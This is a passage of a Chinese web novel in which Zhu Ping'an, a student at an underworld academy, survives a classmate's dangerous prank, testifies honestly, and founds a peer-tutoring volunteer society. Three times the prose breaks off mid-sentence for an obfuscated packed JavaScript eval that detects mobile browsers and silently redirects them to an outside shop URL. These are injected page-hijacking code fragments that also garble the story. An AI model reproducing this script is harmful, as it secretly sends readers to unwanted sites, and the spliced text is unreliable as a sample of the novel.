噗通一声,弄玉老师脸色铁青地提着卫珑,驭鸟落地。她距离地面还有两米时,就把卫珑狠狠往地上一扔,摔得这位大小姐哎呦一声,哭了起来,眼泪把脸上的妆都冲掉了。 见卫珑落了地,金毛毛圆滚滚的大眼睛露出凶光,喉咙间发出威胁的低吼声。他亮出白森森的牙齿就想往上扑,祝平安眼疾手快,一边抓住他的大尾巴,差点被带了一个趔趄。 感受到她的阻止,金毛毛赶忙停下,重新支撑起她的身子——祝平安腿还是软的呢。“平安,你做什么拦着我?那个人刚刚欺负了你,难道不是吗?” 看着金毛毛转向她时,重新变得温柔可爱的大眼睛,祝平安对于妖族感情和欲望都很强烈的本性,有了更深一层的认识。爱则欲为之肝脑涂地,恨则欲使其粉身碎骨,作为被维护者,她觉得心口热热的:“毛毛,你别给自己找麻烦,老师还在这里,她会主持公道的。” 弄玉老师气的好半天说不出话,发泄式地在空中转了好几圈,这才吐出一句话:“胆大包天!肆意妄为!不知轻重!拿着人命当儿戏!你、你是哪个部门的学员,把你们部长找来,我要好好跟他说说你刚刚的所作所为!” “不用找了,我就在这里。” 一阵狂风猛然吹下,学员们只觉得脖子一凉,窃窃私语声一下都断了,所有的送魂鸟全都缩起脖子瑟瑟发抖,操场上的气压猛然变得低沉可怖。被这无形气压正面冲击的卫珑两眼圆睁,连哭都不敢哭了。感受到这似曾相识的压力,祝平安猛然回过头去。 咔吧、咔吧、操场上静的落针可闻,只有一个人的脚步声打破这份寂静,每一步都好像踏在人心上。随着他的前进,学员们敬畏地退至两侧,操场上的人群就像是被一把利剑劈开的大海,显的那个身上仿佛蕴含着万丈惊涛之力的男子更加威仪。 卫珑怯怯地站在一边,偷眼去看张部长的脸色,张松鹤却只是冷然路过她身侧,好像路过一个垃圾堆,他径直走到祝平安身边,把她从金毛毛身上拉起来,上上下下检查了一遍。 他虽然也是第一时间想要上前营救,可惜距离太远,若非其他人出手,只怕连弄玉老师都未必能赶得上接住她。 他后怕的心里直打鼓,直到看见她没什么大碍,连眼泪都没一滴,这才吐出一口气,同时,心里又更加看重她。与吓得哭哭啼啼的卫珑一比,祝平安可称得上是泰山崩于前不动声色,果然不凡。 “你吓死我了,还以为我好不容易骗来的属下又要非战斗性减员了呢。”他半是抱怨半是放松地说,又向着温尔雅赞赏地点点头:“这位学员是街镇行政部的是吧,你见义勇为,值得嘉奖,我会给你的平时分加十分。” 温尔雅还没来得及拒绝,弄玉老师就迎上前去,指着卫珑想要告状,“张部长,你这个学员她……” “我已经全都知道了,弄玉老师,真是抱歉,我们部的学员给您添麻烦了,我一定会严肃处理她。” 张松鹤扭过头,这才看了一眼战战兢兢的卫珑,冷冷地道:“跪下。” 卫珑吃惊地张大了模糊的泪眼,自她有记忆以来,何曾听过有人敢这样对她说话,“什么?” “我说,跪下!” 这一声断喝如同晴空霹雳,震得操场上众人头皮一麻,卫珑吓得腿一软,噗通一声,结结实实地跪了下去。双膝一落地,又是痛,又觉得在众目睽睽下受了羞辱,不由得又小声抽噎起来,只是到底没敢站起来。 祝平安也被震的不轻,见惯了张松鹤平易近人的样子,还是第一次见到他冷下脸来,她抓着白子欣说悄悄话:“平常看不出张部长这么吓人!” “你下来的时日短还不知道,这位张松鹤可是鼎鼎大名的人物!”叶霆霓也小声跟她咬耳朵了,“我在世的时候,曾代表茅山派去过一次龙虎山交流,那时候张松鹤就已经大有名望了。他是龙虎山天师道的传人,还有妖族血统,天资异禀。据说他还身负天命,早晚要飞升成神的,他为累积功德,早成正果,这才积极入世,在地府任个职司,救苦救难。” “这样一位预备役神明,对待咱们守法群众,自然是春风送暖,慈悲为怀;可对待恶人呢?除魔卫道可是他的本职,每年从他手里发往十八层地狱的,没有一千也有八百,我看,这个卫珑就是下一个!” 张松鹤面沉似水,并指如剑,在空中凌空画了一道符,只见金光一闪,一个金甲力士被凭空召来,低头听令。张松鹤带着几分嫌恶地指了下卫珑,吩咐道:“捆起来带走。” 金甲力士听令,上前就要将卫珑捆个结实,卫珑大惊,哭着往后退:“做什么!你要把我带到哪里去!” “先带到秦广王处,将你罪行记录在案,再带到阿鼻地狱,身下油锅,抽筋擂骨,以赎今日之罪!”张松鹤冷冷下达判决,对着金甲力士一挥手:“还不快动手!” 卫珑吓懵了,她自以为不过是小小恶作剧,最多是扣平时分、写检讨、哪里想到张松鹤居然如此辣手? 她这下知道怕了,哭叫着求饶,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837486|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被金甲力士三两下就被捆了起来。弄玉老师也没想到张松鹤的惩罚这么重,不由得给卫珑说起了情:“张部长,这个学员虽然不知轻重,但究竟没造成什么不可挽回的后果,扣些平时分,慢慢教导也就是了,打入阿鼻地狱,是不是罚的太重了些?” “我是琢玉学院的教师,但也是公共安全部的部长,卫珑蓄意致人死亡,已经触犯了律法,不是仅用校规就能惩处的,必须受到公共安全部的制裁。”张松鹤的表情八风不动,“恶意追逐、惊吓他人送魂鸟,蓄意制造安全事故,若非运气好,可能就要酿成空中连环相撞的惨案。今日没有伤亡,一是因为其他学员救援及时,二是因为祝平安同学命大,并非她没有主观恶意!” “弄玉老师,您请便吧,不要阻拦公共安全部执法。” 话已经说到这个份上,弄玉老师张了张嘴,实在不知道能说什么,只好无奈地让开一步。卫珑被金甲力士提在手里,不断挣扎哭叫:“冤枉!我只想跟她开开玩笑,我不是真的想要她死呀!” “呸!”脾气最好的桂中秋也忍不住了,“你明明看出来平安还不会驭鸟,还故意把她弄到那么高的地方,难道你是白痴,不知道她摔下来是会死的?敢做不敢当,真叫人恶心!” “我不是!我没有!”卫珑哭的语无伦次,她左右四顾,只见操场所有学员个个冷眼旁观,自己的几个室友更进一步,都用活该的眼神看着她,心里几乎要绝望了。她生来就被人捧在手心,宠的她不知轻重,哪里受过如此多的冷眼?更不曾想过自己居然会有一天沦入十八层地狱。吓得往昔的掐尖要强、骄纵跋扈都不知道哪里去了,两眼只顾着流泪,这才知道自己自以为高出众人,实际上不堪一击,处处讨嫌。 彷徨无助间,她看见祝平安静静站在张松鹤身后,一双眼睛黑白分明,静静地盯着她,一下子好像抓住救命稻草一般,对着祝平安连声呼叫起来:“祝平安!我没有蓄意要杀你,你心里清楚!如果我真要杀你,刚刚就不会去拉你了,自然也不会因为想要救你而摔下来,我不是蓄意杀人,你得为我作证!” 唰的一下,大家的目光都投向了祝平安。祝平安一翻白眼,再次被这个大小姐的幼稚逗笑了,她把祝平安当成什么了?冤大头?刚刚若不是温尔雅出手相救,自己就真的嗝屁了,她哪来的那么大的脸,恳求受害人给她求情? “祝平安同学,卫珑说的是不是真的?”张松鹤转过身来问。 当然不是真的!假话几乎就要冲口而出。祝平安不无快意地想,也让这个大小姐尝尝十八层地狱的滋味,让她也怕一怕、痛一痛、让这熊孩子知道,人被杀是会死的,犯错是必须付出代价的,别人不是她爹妈,没有义务包容她! 然而,内心翻涌的报复念头在触及张松鹤目光的时候,就好像冰霜遇到太阳,忽地消失不见。张松鹤的目光那样平和,充满了对她的信任,透过这样的目光,他曾经说过的话又一次在她耳边响起来:“向我证明,我没有走眼!” 说谎吧,让那个讨厌的大小姐下地狱去!但说出这种假话,张松鹤如果知道了,会怎么想呢?他一向是个公正的好人,他所期待的属下,也许脸皮厚,也许胆子大,也许方法活,但绝不是脸皮厚到颠倒是非,胆子大到瞒天过海,方法活到胡说八道! 她没有什么道德包袱,也不在乎卫珑的结局如何,但是,她——唉,她怎么能对张松鹤、对这样一个信任她的人撒谎呢? 18. 世界哪能处处公平 “她是不是蓄意杀我,我不知道,但是,我刚刚摔下去的时候,她确实试图拉住我来着。” 木着脸说出这句话,祝平安再不吭声了。听到她这话,金毛毛不再对卫珑龇牙了,桂中秋等一众室友脸色变幻,隐约有些不赞同,白子欣则是急了:“你——你疯啦!” 祝平安对着他轻轻摇了摇头,话出口的瞬间她也有点小后悔,但是既然已经说出来了,也不可能往回咽:“她说的是实话,我总不能撒谎。” 温尔雅闻言也有些侧目,以德报怨,殊为不易,他本以为祝平安就是个普通的好心人,却不想此人的道德水准比自己想的还高。 更震惊的则是卫珑,她方才那一嗓子,只是狗急跳墙,若是易地而处,她自知也绝不会给仇人作证的,现在祝平安说了实话,她的处境一下峰回路转,立刻噙着泪水望向张松鹤。 张松鹤神色慢慢放松,轻轻一挥手,力士行礼后消失不见:“好吧,看来你说的是真话,既然还没坏到了家,也有救人的表现,那么便不以蓄意杀人论处,阿鼻地狱看来是不用去了。” “但是,死罪可免,活罪难逃,卫珑,你这般不知轻重,不堪为用,即日起,开除出琢玉学院公共安全部,永远不得录用为差役。” 听闻不用去阿鼻地狱,卫珑先是松了口气,再听说要被开除,又猛然紧绷了起来:“不!我不能被开除!我准备了好久,好不容易才考上的呀!让我以后在家里怎么抬得起头!张部长,求你换个惩罚吧,祝姑娘,求你,再帮我说说情吧!” 祝平安把头扭过去装没听见,开玩笑,刚刚作证主要是不想骗张松鹤,卫珑被开除跟她有啥关系?她才懒得管。 “张部长且慢!”远远传来了一个男子的声音,“身为公共安全部的差吏,您要在学校执法,学校管不着,但是,您要开除学校的学生,是不是也要跟校长商量一下呢?” 祝平安扭头一看,只见魏玄成大踏步往这里走来。果然,这次的事情着实不小,校长也被惊动了! “魏校长。”张松鹤颔首为礼,“您就是不说,我们也要去找你。” 他一指卫珑:“此女欺凌同学,无视法纪,险些造成重大事故,如此人品,实在不配成为差役,请校长允准,将其开除出校,取消录用资格。” “事情我都听说了。平安同学,你受惊了。”魏校长先是安慰了祝平安几句,“开除一事,咱们回办公室再说。张部长、祝同学,还有卫珑,你们先跟我回办公室,其余无关人等都各自散了吧。” 一回到校长办公室,魏玄成就开门见山了,“张部长,我跟你实话实说,开除卫珑是不可能的。你还是换个其他的惩罚,也问问祝同学,怎么罚她心里能舒服一些,学校也会给一些别的补偿。” “倘若我就要开除呢?”张松鹤的眼神像是锋利的剑,直视魏玄成。 “只有校长才能开除学员,你没有办这件事的权限,就不要说气话了。”魏玄成丝毫不为他的眼神所动,淡定地坐下喝茶。 “好吧,那为何不能开除她?”张松鹤端坐在祝平安身边,望向依然跪在地上的卫珑,“魏校长,你总要给我们一个能服众的理由。” “本官也有无奈之处。”魏玄成叹了口气,“琢玉学院建校仓促,资金从哪里来,场地往何处找,张部长心里多少也有点谱吧。” “既然校长这样说,莫不是卫珑家出资?” “正是。”魏玄成捋了捋山羊胡子,“我之所以能够筹到资金,也是因为卫珑在受训名单之内,若是将她开除,只怕学校立刻就会难以为继,为着两万名学生能够正常上学,本官实在不能同意开除卫珑。” 张松鹤的眼神明显沉暗了下去,冷笑道:“打入阿鼻地狱不成,开除也不成,那校长说怎么罚?” 魏玄成见他脸色难看,立刻说道:“张部长,我的人品,你还信不过吗?本官绝非有意偏袒,此女为人,我亦不喜,只是职责所在,不得不捏着鼻子往下吞苍蝇。只要不开除,其他惩罚,任由你们,本官绝无二话。” 张松鹤眉头紧皱,询问地看了一眼祝平安,祝平安倒是毫不意外。身为一个平民,她早已习惯了权贵们有着种种特权了,毕竟她又没伤到一根毛,换了阳间也是一样和稀泥处理,阳间的校方甚至都不会像魏玄成一样实话实说,没按着她给大小姐赔罪就不错了,还是给自己要点好处为妙。想了想,她凑到张松鹤耳边小声说了几句。 张松鹤眉头慢慢松开了,对着祝平安点了点头。祝平安这才直视魏校长:“不开除也可以,但校长要答应我三个条件。” “说来听听。” “第一,她可以继续上学,但以后不能在公共安全部了,我可不想跟潜在杀人犯一个教室上课。” “可以!”魏玄成一口答应,“她以后可以转到人力资源部,相应的手续我立刻就办,绝对不会让她再出现在你眼前。” “第二,卫珑要在全校师生面前向我鞠躬认错,并且要向大家宣布,她从此就是学校杂工,无偿为大家服务,无论哪个同学需要她帮助,她都必须听从。”让大小姐试试当丫鬟的滋味,了解民间疾苦,也算小惩大诫了,祝平安暗戳戳地想。 鞠躬认错也就罢了,还要被全校学员呼来喝去做杂务! 卫珑眼睛里又涌上屈辱的泪水,她正想摇头,魏玄成不耐烦地瞪她一眼,“人家已经是放你一马了,还好意思哭!莫不是以为本官愿意管你?欺负人家的时候有那许多能耐,轮到自己的时候,一点苦都吃不得?既然敢作就要敢当!也不知道你父母是怎么教养你的,把你们家的脸都丢尽了!” 卫珑吃了校长一顿排头,倒好像是憋住了口气,腰杆慢慢直起来,只是低垂了头看不出表情。魏玄成也不去理她,转向祝平安:“这个也答应了,你接着说。” “第三个条件,”祝平安眼珠一转,“先存在校长这里,等我想好了再说。” 看魏玄成就要出声反对,她立刻抢着补充:“校长放心,绝对是你权责范围内的事情,我分量有限,能让你帮的忙也有限的很,绝不会让你违法乱纪,违背良心,或是捏着鼻子吞苍蝇!” 她到底还是小小地刺了一下魏玄成,听到这话,魏玄成苦笑着摇摇头:“你这姑娘倒是会要人情,只是……” “校长放心,我会为你公证,倘若她提出的条件不合理,您大可以不执行。”张松鹤适时插进来,“我的人品,你还信不过吗?” 跟祝平安一样,他也忍不住拿魏玄成自己的话来刺魏玄成了。这精准的一击,打的魏玄成苦笑连连,事已至此,他倒也干脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837487|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“也罢,既然有张部长作保,本官就答应了。” 事已谈妥,魏玄成把两人送出门外,只留下卫珑一人,看来是打算接着教训她。一离开办公室,张松鹤就叹口气:“我能力有限,没能将她开革出去,真是对不住。” “这是哪里的话。”祝平安连忙摆摆手,“张老师为我争取,我已经很感激了,卫珑家有钱有势,肯定就会有些特权,世界哪能处处公平。” 张松鹤深吸口气,胸口起伏,好像要将衣服撑破,良久,他嘿然笑道:“世界哪能处处公平?可我就是希望它处处公平!” 他一向笑眯眯的眼睛睁大了,祝平安愕然发现,这个男人的瞳孔居然是竖瞳。叶霆霓说他有妖族血统,看来果然不假。此时此刻,在那俊美的脸上,燃烧着森然的愤怒,这愤怒让他像是一只蓄势待发的黑豹,仿佛具有撕裂一切的力量,狂野而美丽。 他凝视着祝平安,像是在对她说,又像是在对自己说:“现在,公平不是到处都在,可起码,它在这里。” 他指了指自己的心口,又指了指祝平安的心口,“总有一天,它也会在这里,对吗?” 他的话语里有种奇异的分量,刺的祝平安心口发疼。公平,她想着,就好像那是一个瑰丽的梦,五光十色的华彩蒙住了她的眼睛。我还相信公平吗?祝平安茫然地想要摇摇头,最终却是点点头。 张松鹤笑了。 他不再说话了,刚刚潜伏在那个平易近人外壳下的野兽似乎只是短暂的醒了一下,他又成了那个讨人喜欢的部长,走出教学楼,他对祝平安挥了挥手,自己转身离去,祝平安看着他走远的背影,只觉得心里云遮雾绕的,说不上来是什么滋味。 “平安!” 还没等她理清自己的感受,就听见一声呼唤。扭头一看,金毛毛、桂中秋等朋友放心不下她,早就在楼外等着了,“最终那个卫珑是怎么处理的?开除了没?” 祝平安摇了摇头,“校长也有难处,最终惩罚卫珑在全校面前给我鞠躬道歉,再加上做学校杂工了事。” “不公平!”白子欣第一个跳出来,“这处罚也太轻了,你可是差点丢小命诶!” “这不是还没丢吗?”祝平安心里也不舒服,但目前已经是尽量好的结果了,她还是宽慰白子欣:“她那么傲气的人,让她被人呼来喝去,比让她死还难受呢。你要是气不过,就多使唤使唤她,也让她给你洗袜子!” “祝姑娘果然是大人大量,令人佩服。”一道清泉般的声音流过,祝平安只觉得眼前一花,温尔雅已然转过墙角,笑吟吟地出现在她面前。 想到自己还没正经地给救命恩人道过谢,祝平安赶忙上前行礼:“温同学,多谢你刚刚出手相救。” “是呀,多亏了你!”金毛毛摇着大尾巴也上前帮腔了。 一时间,诸位小伙伴纷纷感谢温尔雅,把他弄得都有点手足无措了。 喧闹中,白子欣提议:“今天到我帐篷里吃火锅吧?庆祝平安姐大难不死,顺便感谢温同学!” 这个提议被大家一致通过,食堂的袁大叔也听说了祝平安今天差点遇险,打着压惊的名义给祝平安偷渡了不少好料。很快,鱼虾肉片,佳果鲜蔬摆了一桌子,再加上白妈妈供奉的大桶可乐,火锅就热热闹闹的开吃啦! 19. 志愿者协会的扩张 沸腾如熔岩的红锅里涮上爽脆的毛肚、丝滑的鸭血,祝平安夹起一块,感受醇香激辣的滋味在舌尖绽开,感动的差点泪流满面,不得不说,活着真是太好了! 再抬眼,对面的温尔雅似乎不太会吃辣,白玉般的双颊泛起红晕,星眸也泛起丝丝泪光,看上去——简直是诱人犯罪啊!祝平安默默吞了吞口水,不得不说,活着真的是太好了! 菜过五味,大家的话匣子也都打开了,了解了彼此的部门后,林四梅干了半杯可乐:“原来温同学你是街镇行政部的,还是笔试第一名啊!怪不得人人都说基层部门出大神,今天我算是亲眼见到了。” “要不是祝姑娘把准考证送还给我,哪里还有什么第一不第一,你太夸奖了。”温尔雅小口啜饮着杯中的可乐,似乎对这新奇的口感很着迷。 “平安,要不是你先帮助这位温同学参加了考试,他也会不会进琢玉学院,今天你摔下来也就没人能救你了。”叶霆霓托腮看着两人,“道家讲究一个缘分,看来你们俩有缘哦~” 祝平安和温尔雅眼神一对,双双脸红了,没等她开口说话,金毛毛就飞快的反驳叶霆霓了:“缘分是佛家的讲究吧,你这个假道士!平安这叫好人有好报,以后你们也要跟我们一起做好事才对!” “金毛毛你够了,别抓到个机会就给你的志愿者协会拉人头!” 一番笑闹后,桂中秋倒是正儿八经地说了两句:“做好事倒没错,只是我们的学业压力也很大,没时间再去义务扫操场、巡教室、做杂活了,再说,如果我们做这些,让卫珑做什么?不是白惩罚她了。” 现实的难题摆在眼前,志愿者协会扩张的计划转瞬就要落空了,看着金毛毛失望地耷拉下大尾巴,祝平安沉吟着开了腔:“好事还是要做的,只不过我们做好事的范围要扩大一些。” 今天她虽然身在空中,但并没有错过学员们的窃窃私语。舆论一边倒的支持她,固然是卫珑跋扈过头,但世上的事情往往是公说公有理婆说婆有理,事件反转也不稀奇。学员们能够立刻接受祝平安受害者的形象,也是因为她通过志愿服务,在群众里获得了基础的人望。这使得张松鹤后续处理卫珑时,受到的阻力也很小…… 政治这东西,其实无非就是让人愿意支持自己,当一个人能够获得足够多人的支持时,他就可以被称为政治家——在这个充满了火锅味道的帐篷里,祝平安第一次模模糊糊地摸到了政治的门槛。魏校长并不是个媚上欺下者,他也讨厌卫珑,但卫珑依然可以获得校长的庇护,是因为卫珑代表着她家族对校长的支持,所以张松鹤不能真正意义上的撼动她,公平也就在这里失了效。 倘若——倘若今天她祝平安也能代表一些什么东西,不说超越卫珑,哪怕是跟卫珑持平也好,魏校长的处置会不会不同呢? 她有了一种新奇的领悟,世界依然是那个世界,可她看待世界的方式不同了。她摸摸自己的心口,那里似乎依然残留着张松鹤手指的触感。公平,她想,公平是什么?是天平两端分量一致时达成的平衡状态,张松鹤,我们想要得到公平,起码要有足够的分量站上别人心中的天平才行。 她迎着金毛毛圆滚滚的大眼睛,微笑着开了口:“学员们现在最需要的,不是维护校园秩序或是打扫卫生,而是有人帮助他们学习。” “就拿我自己举例子吧,我最头痛的科目是送魂鸟驾驶和历代文字,如果有人能在课余帮我补习这两门课,我肯定是求之不得。而我也有擅长的科目,起码在公共安全管理这门课上,我也有点信心指导别人。” 金毛毛的眼睛一下子就亮了:“你是说,让大家入会,结成课余学习小组,以此互帮互助?” “没错,这种做好事的形式有两个好处,首先,指导别人也是一种学习的好办法,能够查缺补漏,精益求精,不存在挤占学习时间的顾虑。第二,这种形式并非强制大家参与义务劳动,在这里指导了他人,也能得到别人的指导……谁还没有个不擅长的科目呢?哪怕只学了一点点,但这一点点累积起来,就很可观了。” “如何,毛毛?只要你宣布加入志愿者协会就能得到课余指导,那么入会的坏处是没有的,好处却是眼见的,我想,来报名的人数会多的超乎你想象。” 温尔雅停下筷子,笑容不变,心中却暗暗惊叹。他初时只觉得祝平安人品温厚大度,是个值得一交的朋友,加之他不愿欠别人的人情,定要在日后襄助祝平安一次,这才能心无挂碍。却不想,此人似乎很有几分才干,既能精准地抓住学员需求,还能够想出办法规避现实难题。 只是不知道她是否能意识到,此举一旦成功,志愿者协会将会成为琢玉学院最大的社团组织,她身为副会长,也将在同届学员间凝聚相当的人望?且琢玉学院并非普通院校,所有学员都会走向差役岗位,甚至校长自己就是人力资源署的署长!这份人望将会一直伴随着她,在走入工作岗位后,依然能够给她难以想象的助益,又或是说,这本就在她的计算当中? 无论她是否计算到了,既然看出了这份收益,就不能错过,他当即赞同:“好主意,在下现在就要入会。在下于历代文字科目上颇有心得,愿意帮助大家答疑解惑。” 祝平安倒没想到是温尔雅第一个响应,心道他还真是个热心的人,这下志愿者协会就有门面担当了,明天带出去岂不是能招徕一大批女学员入会? “那我也入会!”林四梅一拍桌子,“每次上实战格斗课,都觉得筋骨还没活动开就下课了,课余能够再找人练练手,又能在其他科目得到指导,那何乐而不为呢?” 众人纷纷表示要入会,金毛毛看大家热情这么高涨,顿感此计可行:“好的!大家的入会申请我都批准了!今天晚上我们就准备好宣传物料和学员登记单,明天就在教学楼前举办纳新活动!” 于是,火锅聚会时间又华丽转身成会议时间,与会人员在志愿者协会会长金毛毛、副会长祝平安的指挥下开始头脑风暴,努力构思活动流程了。最终,经过两个小时的大讨论,分工确定了下来:林四梅、叶霆霓搬桌子搭建场地,桂中秋印刷登记表,金毛毛讲解入会规则与福利(学习小组的参加方法),祝平安负责给学员登记,白子欣负责整理表格,至于温尔雅—— 他负责举着牌子做看板娘。 美色资源要最大化利用,深谙男色经济的祝平安如是说。 于是第二天,琢玉学院的学员们惊奇地发现,教学楼门前居然支起来一个小小的摊子。 那是怎样一个美丽的小摊子哟!桌椅虽然没什么特别(林四梅随便找了个空教室搬出来的),但是桌旁却有着一株碧叶琼枝的大桂树(桂中秋友情出演),花开万朵,风来送香,令人不禁沉醉其中。 然而,最令人沉醉的还是树上沉睡的美人。 在大树上的枝桠上,一个青衫男子半靠在树干上,阖眼小憩。他的容貌如月中仙人,白玉无瑕,令人一见忘俗。清风徐来,他长长的睫毛如同蝶翼微微颤抖,金色的桂花簌簌落在他的衣襟上,又宛转飘落在尘埃里。男子身侧,千万朵紫色的电弧有如同诸天星斗(叶霆霓废了九牛二虎之力做成的特效),将他拱卫其中,配合着男子那轻轻的呼吸声,那些电花也明明灭灭,好像一起在做一个宁静的美梦。 当然了,在部分观察更敏锐的人眼里,美人闭目的神色,似乎有些,羞愤?太阳穴那里好像也浮出来一些青筋,呼吸节奏更像是气呼呼的?不过那怎么可能呢,一定是幻觉。 再仔细一看,美人怀里抱着一个单看非常简陋,但跟美人一搭配就变成质朴的大木牌,上面刻着一行字:加入志愿者协会,可获课后辅导。 温尔雅努力控制自己的嘴角不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837488|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽搐,闭眼不愿面对自己现在的处境,手指差点把木牌捏出裂缝。他自知相貌出众,必定会做一些招徕的工作,可居然用这种粗陋的木牌来亵渎他的美貌!要不是祝平安以志愿者协会副会长之位诱惑,他怎会愿意在此自毁形象!(喂你这个人居然是嫌弃牌子太丑吗!你重点错了吧!) “你还在为功课发愁吗?你还在怕考试不过吗?那就加入我们志愿者协会吧!”树下,金毛毛跟打了鸡血一样,手举着喇叭激情演讲,“你给我们一份信任,我们还你一个未来,即日起,只要报名加入志愿者协会,可享受免费课余补习!” “真的是免费的?都教什么科目?”有人好奇来问了。 “什么科目都教!”金毛毛尾巴一翘,“只要成为我们的志愿者,你想学什么科目,我们就能教什么科目,虽然教学质量不敢说跟老师比肩,但绝对免费!” 说着,他神秘兮兮地指了指树上的温尔雅,“看见了吗?这位同学就是我们的会员,是笔试第一名哦!有这样的学霸带飞,你们还怕什么?” 哦哦哦!美人学霸帮我补习,一听就很心动有木有? “那,加入志愿者协会之后要做什么呢?也跟你一样在门口搬行李吗?”一个女生弱弱发问了,一看就是曾经被金毛毛志愿服务过的。 “完全不用!”金毛毛笑得灿烂,“你只需要做一件事,那就是登记自己的优势科目,听从协会的安排,每周抽四十分钟为其他同学补习!这叫教学相长、学习互助,大家一起进步!” 听起来这个模式好像很科学的样子,早就应该这么搞了——一瞬间,所有学员都这么想了。 “我要报名!” “我也报名!” 立刻,纳新摊前面大排长龙了,金毛毛春风得意:“不要挤,大家先找副会长登记!” “让我看看,你是税务部的,擅长科目是账簿稽查,希望有人教你历代文字课,住在1873号宿舍……”祝平安也在另一边忙的热火朝天,她指导学员登记后,立刻发给学员一个桂叶胸针(桂中秋贡献):“来,拿好我们的会徽,从今后你就是我们志愿者协会的一员了!” 税务部学员接过胸针,别在自己胸口,“谢谢你,那么我以后到哪里来找你们上课?” 哎????这么快就问我上课的事情??? 祝平安脑子嗡嗡乱响,原地宕机了。现在她深深地体会到主持大型社团的不容易,大家都没有类似经验,精力只聚焦在纳新活动上,根本没想起来活动场地、组织规章、秩序维护等方面的事情,现在会员问她去哪里上课……她她她她也不知道! 怎么办,忙了一溜十三遭,难道在这前功尽弃了吗……祝平安脑袋有点冒汗了,先告诉她们去白子欣宿舍集合?但是女学员好像也进不去男宿舍区…… “到教学楼3层的公共安全部3208教室。” 正在她尬在当场不知如何是好的时候,耳边突然传来了一把熟悉的男声,她扭头一看,张松鹤不知什么时候已经笑嘻嘻地站在小摊子后面,和她并肩而立:“那里是志愿者协会的活动室,八点之后就有人值守,如需帮助的话,只要拿好会徽去那里就可以了~” 税务部会员得到答案,满意的走了。祝平安双目圆睁:“你怎么来了?” “搞得不错嘛,场景挺能唬人,入会福利也能够切中人心。看来经过昨天的事情,你又进步了。”张松鹤眼含笑意,先是点评了一下祝平安策划的这个纳新活动:“不得不说,你总是能给我惊喜。作为学员来说,你筹办的算是不错,但也还有很多稚嫩的地方。想要成为一个组织的负责人,你现在急需一个有经验的人指导。” “何况,维护大型活动的秩序,本来就是公共安全部的老本行。你们这个志愿服务协会,没有一个社团指导老师,怎么能开得起来呢?” 20. 一封家书 “亲爱的里奥: 非常抱歉,开学这么久才给你写信,请你谅解,因为我实在太忙了。” 祝平安坐在桌边写家书了,本来早就应该写的,但可惜七槐山之前没人居住,也就没有邮路,学员们进来之后基本就与世隔绝了,家书一直没写成。 直到卫珑那天在全校面前向她鞠躬道歉,又被校长宣布成为校务杂工后,事件才有了转机。卫珑虽然讨厌,但是驾驶送魂鸟的技术真不是盖的,载货飞行就跟玩一样,很快,就有学员开拓出了她的长处,让她驾鸟到最近的邮政处,帮自己寄信。再后来,一传十十传百,卫珑俨然成了邮递员,每天都要背五六个大邮包往返送信了,几天下来累的蔫头耷脑,人都半透明了,再无一丝傲气。 一想起这件事,祝平安心里就暗爽,她美滋滋地继续写道: “……悄悄地告诉你,现在我也当上一个组织的负责人啦!我成了学校志愿者协会的副会长,您猜猜我们协会有多少会员?有一万五千多名呢!会长金毛毛说,这都是我的功劳,其实我也只是出了一个主意,把互助补习引入到志愿服务中,我本以为能有几百个学员入会就不错了,但是大家对互助补习的热情超出了我的想象,现在光是制作会徽,就让我的室友头秃了(她是一株桂花精,我们的会徽是用她的叶子做的,所以她是真的头秃了)。 会长虽然乐于助人,但并不擅长这些细务。这么大的社团,我很难操持,幸好我的部长张松鹤愿意给我们社团做指导老师。您还记得张松鹤吗?就是那天说服您收留我们的人,他很擅长维持这种大型组织的秩序,他为社团成员制定了分工,譬如我就专门负责给学员们配对,让他们能互相补习,共同进步。通过这个工作,我认识了很多学员,也知道了每个部门都是做什么的、上什么课,真是让我大开眼界,现在我可以说是朋友遍天下了,走到哪里都会有人叫我祝会长嘞!” 几乎在所有部门都有认识的人,并且相对深入的了解每个部门的职责,知道某事要去找谁处理——这已经约等于摸清了整个政府运转的流程!这本是积年老吏才能在工作中慢慢获得下来的东西,祝平安却在学员时期就得到了这样宝贵的积累,这不得不说是祝平安任职志愿者协会副会长最大的收获。但此时,这个女孩还不了解自己得到了什么,她只是一无所知地写着家书: “……他还规定了每个会员都要佩戴会徽,现在大家就可以分辨出我们的会员,并且向他们请求帮助,只要是力所能及,会员们就要尽力帮忙。当然,也不会让大家白白帮忙,张老师会给大家加平时分哦! 